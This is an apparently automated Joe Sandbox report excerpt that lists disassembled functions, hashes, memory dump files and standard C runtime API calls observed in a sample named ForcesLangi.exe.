Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f42142c507790bfb44b89c474fb0a5587983af8f2efc191e76be57ecf42433
Instruction ID: a75fcdeffbeab99b1c470ec13e565eeb7b50cf8b005ff6f32b24353c35fecd17
Opcode Fuzzy Hash: f1f42142c507790bfb44b89c474fb0a5587983af8f2efc191e76be57ecf42433
Instruction Fuzzy Hash: AFA13732B411008FDF04CEBCCA957CD7BF3AB57325F21521AD524EB795D23A890A8B94

Function 6CE16540 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4bab7ecbdb7f707d0ad8684bc59aa3f4ae6ec1f5f5f3c5f1eeee5b23fa8aa3
Instruction ID: cfd3d6cb563d76ae1615bb7fc27d015fa2107a622b435823f65e7b52e58c823a
Opcode Fuzzy Hash: fd4bab7ecbdb7f707d0ad8684bc59aa3f4ae6ec1f5f5f3c5f1eeee5b23fa8aa3
Instruction Fuzzy Hash: 3AB1ADB6A09205CFDB04CFACC5917DDBBF9EB4B318F218019D419EBB50C2399946CBA5

Function 6CE12060 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928effe19d62be9a4cc97c165661ff9cd1213b277e54f5083346817bc621bbef
Instruction ID: 8d53507150d6602266dd7899f72604f082dae26eeb4f3a246822cadcf4ec6cd3
Opcode Fuzzy Hash: 928effe19d62be9a4cc97c165661ff9cd1213b277e54f5083346817bc621bbef
Instruction Fuzzy Hash: 0B91E376B481468FCF08CE7CCC993EE7BB2AB57354F204519C910DBF94C13A495A8B95

Function 6CDF7370 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16302f38e09a37c5e933c53b762502eddf4346ae6c62da972589b7e328435d49
Instruction ID: c238d2e5520f5b5f91a5cc9bc8d5007e255d290fc890fd24c36c94c7be668871
Opcode Fuzzy Hash: 16302f38e09a37c5e933c53b762502eddf4346ae6c62da972589b7e328435d49
Instruction Fuzzy Hash: F0813575241A019FDB148F3CC4E47C77BE2AF57324F23990DD8F68BBA5C626940A8B90

Function 6CE12D80 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e3952198bf7c7bf7f37711ededdfe9d30fd1282ad5a11abeefe8bc3adf2fb0a
Instruction ID: 63d1d54cc39fa89d79f74b33bc44a3560259b1436c7330456261b1796f91c46c
Opcode Fuzzy Hash: 1e3952198bf7c7bf7f37711ededdfe9d30fd1282ad5a11abeefe8bc3adf2fb0a
Instruction Fuzzy Hash: 3A712736B095068FCF08CA7CC9893EE7BF2A743358F309515D825DBF94D52A8A1ACB41

Function 6CE20D10 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220dbcb291e0c628092f602218a238b39f20d576d94f6268cf03845c38467001
Instruction ID: d81289c1cc2978f4361086577e59006ecd69946aa757293a99e2a67b080ac4d0
Opcode Fuzzy Hash: 220dbcb291e0c628092f602218a238b39f20d576d94f6268cf03845c38467001
Instruction Fuzzy Hash: 2F511536A866458FDF04CD7CC6A53EF77F29B43328F309615982597BD4C12E590A8F90

Function 6CE32D21 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1244d2490e722d8e2d4b08a687ba54e345a4788b81df14d6debf1e67a5b6da9d
Instruction ID: 9ecac5bbc39ca4e45c1dde58d882cac89a1ebc9b005d3dc8d723831499b287ba
Opcode Fuzzy Hash: 1244d2490e722d8e2d4b08a687ba54e345a4788b81df14d6debf1e67a5b6da9d
Instruction Fuzzy Hash: FBE08C32912278EBCB11CB88C944A8AB7FCEB44B04B6140AAB555D3611C670EE00C7D0

Function 6CE35400 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 6CE35444

Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE37354
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE37366
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE37378
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE3738A
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE3739C
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE373AE
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE373C0
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE373D2
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE373E4
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE373F6
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE37408
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE3741A
Part of subcall function 6CE37337: _free.LIBCMT ref: 6CE3742C

_free.LIBCMT ref: 6CE35439

Part of subcall function 6CE32CE7: HeapFree.KERNEL32(00000000,00000000,?,6CE321F9), ref: 6CE32CFD
Part of subcall function 6CE32CE7: GetLastError.KERNEL32(?,?,6CE321F9), ref: 6CE32D0F

_free.LIBCMT ref: 6CE3545B
_free.LIBCMT ref: 6CE35470
_free.LIBCMT ref: 6CE3547B
_free.LIBCMT ref: 6CE3549D
_free.LIBCMT ref: 6CE354B0
_free.LIBCMT ref: 6CE354BE
_free.LIBCMT ref: 6CE354C9
_free.LIBCMT ref: 6CE35501
_free.LIBCMT ref: 6CE35508
_free.LIBCMT ref: 6CE35525
_free.LIBCMT ref: 6CE3553D

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 7119f1d783f8dcc2cb7c90c677a98976e3151105aae4a7b3d48de7e0da83f330
Instruction ID: 2be9316e68ee0aab52d90ec369f6ff8ef0f4fbadc1a0a278569700af7d319bf6
Opcode Fuzzy Hash: 7119f1d783f8dcc2cb7c90c677a98976e3151105aae4a7b3d48de7e0da83f330
Instruction Fuzzy Hash: 75318A31606260AFEB108A75D804B9673F9BF8031DF306419E49ED7B51DB31F948DB60

Function 6CE32863 Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 6CE32879

Part of subcall function 6CE32CE7: HeapFree.KERNEL32(00000000,00000000,?,6CE321F9), ref: 6CE32CFD
Part of subcall function 6CE32CE7: GetLastError.KERNEL32(?,?,6CE321F9), ref: 6CE32D0F

_free.LIBCMT ref: 6CE32885
_free.LIBCMT ref: 6CE32890
_free.LIBCMT ref: 6CE3289B
_free.LIBCMT ref: 6CE328A6
_free.LIBCMT ref: 6CE328B1
_free.LIBCMT ref: 6CE328BC
_free.LIBCMT ref: 6CE328C7
_free.LIBCMT ref: 6CE328D2
_free.LIBCMT ref: 6CE328E0

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 98cef0cddb2d9a2bbac884f51803e4a934fb8a71c3dd38f9658b43591535e356
Instruction ID: e14ac05b7ac6cf5cce95865c4d3a736f7f16b82e84b6d4f8b7372a726952d24d
Opcode Fuzzy Hash: 98cef0cddb2d9a2bbac884f51803e4a934fb8a71c3dd38f9658b43591535e356
Instruction Fuzzy Hash: 8321CB76A00118BFCB01DF94CC44DDD7BB8BF98248F105169F55ADBA22DB31EA48CB80

Function 6CE30B00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 6CE30B37
___except_validate_context_record.LIBVCRUNTIME ref: 6CE30B3F
_ValidateLocalCookies.LIBCMT ref: 6CE30BC8
__IsNonwritableInCurrentImage.LIBCMT ref: 6CE30BF3
_ValidateLocalCookies.LIBCMT ref: 6CE30C48

Strings

csm, xrefs: 6CE30BDD

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4476adb15431670f57ef0e9f4e63d0246db99eed4a72024b2f223844a821f11e
Instruction ID: e2313387b748a4828768098a687a869ff32837e823230e9ea5bbe5487530bc5a
Opcode Fuzzy Hash: 4476adb15431670f57ef0e9f4e63d0246db99eed4a72024b2f223844a821f11e
Instruction Fuzzy Hash: F641B634A011689FCF00CF69C884ADEBBB5AF4532CF34915AE81C9BB51D735BA46CB90

Function 6CE34328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 6CE3437F
ext-ms-, xrefs: 6CE34393

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 662713aa457b060bf2a5e4748e920f9f377c08fe1b1d6f289c0f758329c770a3
Instruction ID: 02404afaa5dd706c9e755597ad6b00afd795eea9158432bde14e7173a93898c5
Opcode Fuzzy Hash: 662713aa457b060bf2a5e4748e920f9f377c08fe1b1d6f289c0f758329c770a3
Instruction Fuzzy Hash: 2F21F931A49634A7CB219A258C44B4A3AB89F03768F312A12E91DAF790D671FC44C6D0

Function 6CE374D6 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CE3749E: _free.LIBCMT ref: 6CE374C3

_free.LIBCMT ref: 6CE37524

Part of subcall function 6CE32CE7: HeapFree.KERNEL32(00000000,00000000,?,6CE321F9), ref: 6CE32CFD
Part of subcall function 6CE32CE7: GetLastError.KERNEL32(?,?,6CE321F9), ref: 6CE32D0F

_free.LIBCMT ref: 6CE3752F
_free.LIBCMT ref: 6CE3753A
_free.LIBCMT ref: 6CE3758E
_free.LIBCMT ref: 6CE37599
_free.LIBCMT ref: 6CE375A4
_free.LIBCMT ref: 6CE375AF

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7df7bc2e45ad0bb9c7f8bc702183ee147632bc2a3689b57671c2733396f6c7e8
Instruction ID: 669f7a44da25c574f18ba41fd5e6d33bf8a8a5c3b107915212b49f364aaf5002
Opcode Fuzzy Hash: 7df7bc2e45ad0bb9c7f8bc702183ee147632bc2a3689b57671c2733396f6c7e8
Instruction Fuzzy Hash: 40114D32540F64F6D630AB70CD05FDB7BA86F41704F60581DA2DDA6A51DB35B90CC750

Function 6CE365EF Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6CE36637
__fassign.LIBCMT ref: 6CE3681C
__fassign.LIBCMT ref: 6CE36839
WriteFile.KERNEL32(?,6CE34E19,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE36881
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CE368C1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE36969

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 38039466c0b73660f1a57e8ca7f46a89ef8fa399549c65fc9ae0b6a0e6701fd2
Instruction ID: ba66bbe62bad3c05ea918ded2909810cb3d187b2e5704fdb8d5be96ee3142eec
Opcode Fuzzy Hash: 38039466c0b73660f1a57e8ca7f46a89ef8fa399549c65fc9ae0b6a0e6701fd2
Instruction Fuzzy Hash: 48C19175D012689FDF10CFA8C8809DDBBB9BF09318F28516AE859FB741D631A946CF60

Function 6CE30FD7 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6CE30CA5,6CE2ECE8,6CE2E6AF,?,6CE2E8E7,?,00000001,?,?,00000001,?,6CE3F8C8,0000000C,6CE2E9E0), ref: 6CE30FE5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CE30FF3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CE3100C
SetLastError.KERNEL32(00000000,6CE2E8E7,?,00000001,?,?,00000001,?,6CE3F8C8,0000000C,6CE2E9E0,?,00000001,?), ref: 6CE3105E

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: baf2d368a663e3fd086bcce10756650e1262356d5b3c6b3ee5c8558503877a51
Instruction ID: 7da7e9c8620e88f32a8397b8b27a62a830a4f8d431ae5f258c07e3e37c794c2d
Opcode Fuzzy Hash: baf2d368a663e3fd086bcce10756650e1262356d5b3c6b3ee5c8558503877a51
Instruction Fuzzy Hash: FC01D83630E6726EEA1405F55C88E563775DB433BC730132EE12C85AD0EF55E846F698

Function 6CE3366D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\ForcesLangi.exe, xrefs: 6CE33672

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\ForcesLangi.exe
API String ID: 0-1466808870
Opcode ID: b026a6e39f5f10b098e7da0426f64c07aca047fe2c3eb67a8fd70f5b458b1d60
Instruction ID: 5ae47eed08b3985edd8f07990a4bd861b2336d540dfe7aba2701f63c893c8609
Opcode Fuzzy Hash: b026a6e39f5f10b098e7da0426f64c07aca047fe2c3eb67a8fd70f5b458b1d60
Instruction Fuzzy Hash: 1F21B3B1204225AFDB109A668C88D97B77DAF013BC7245629F45DC7B40EB21FC56CBA0

Function 6CE31153 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6CE31214,00000000,?,00000001,00000000,?,6CE3128B,00000001,FlsFree,6CE3B344,FlsFree,00000000), ref: 6CE311E3

Strings

api-ms-, xrefs: 6CE311A3

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 92b3b385346ebe6712506d35d43b8aa5483a2f7d6bf3294cff671c1cadb1dd51
Instruction ID: 60835f865c34a5a7607a86989b14cc80c9290d65e58d6853946fde49798c0ede
Opcode Fuzzy Hash: 92b3b385346ebe6712506d35d43b8aa5483a2f7d6bf3294cff671c1cadb1dd51
Instruction Fuzzy Hash: 9811A333B45639ABDF228AE98C44B9937B49F027B8F351214E91CEB780D760F904CAD5

Function 6CE31B67 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6CE31B19,?,?,6CE31AE1,?,00000001,?), ref: 6CE31B7C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CE31B8F
FreeLibrary.KERNEL32(00000000,?,?,6CE31B19,?,?,6CE31AE1,?,00000001,?), ref: 6CE31BB2

Strings

CorExitProcess, xrefs: 6CE31B87
mscoree.dll, xrefs: 6CE31B75

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 739af7f1296f14c9ab567f9a6e0ee39e912456cfb9e9271e33966bd05a20a2ce
Instruction ID: 36840aef5c42c492fbdf76fce1925dd507c87276e09843351a47df091e231d42
Opcode Fuzzy Hash: 739af7f1296f14c9ab567f9a6e0ee39e912456cfb9e9271e33966bd05a20a2ce
Instruction Fuzzy Hash: 7EF01231A41628FBDF119BD1CD09B9D7A79EB4175AF205054E409A2550DB34EA40DB90

Function 6CE37435 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6CE3744D

Part of subcall function 6CE32CE7: HeapFree.KERNEL32(00000000,00000000,?,6CE321F9), ref: 6CE32CFD
Part of subcall function 6CE32CE7: GetLastError.KERNEL32(?,?,6CE321F9), ref: 6CE32D0F

_free.LIBCMT ref: 6CE3745F
_free.LIBCMT ref: 6CE37471
_free.LIBCMT ref: 6CE37483
_free.LIBCMT ref: 6CE37495

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 99fadec0f20956cbf7bec20e4786c7ec579e2a0087a39ff34ca8460e69511b45
Instruction ID: 68288891fd578538364034f08ac89119f0e2ce30ce7d3de14d0c30dfe22a7d7e
Opcode Fuzzy Hash: 99fadec0f20956cbf7bec20e4786c7ec579e2a0087a39ff34ca8460e69511b45
Instruction Fuzzy Hash: 10F04431606BA4978A10DA64E684C5677F9FB8232C7706809F06DD7B00C731F884CA90

Function 6CE32F05 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CE33527: _free.LIBCMT ref: 6CE33535

Part of subcall function 6CE340FB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,6CE36093,?,00000000,00000000), ref: 6CE341A7

GetLastError.KERNEL32 ref: 6CE32F6D
__dosmaperr.LIBCMT ref: 6CE32F74
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6CE32FB3
__dosmaperr.LIBCMT ref: 6CE32FBA

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 14c126fea042647f6268fc4068899733fe312fbeada0b96be32a5793e5147fab
Instruction ID: 14565cae5cc47ca762535df147e7741c0d47e32a5003b0bf53ebc42423db6917
Opcode Fuzzy Hash: 14c126fea042647f6268fc4068899733fe312fbeada0b96be32a5793e5147fab
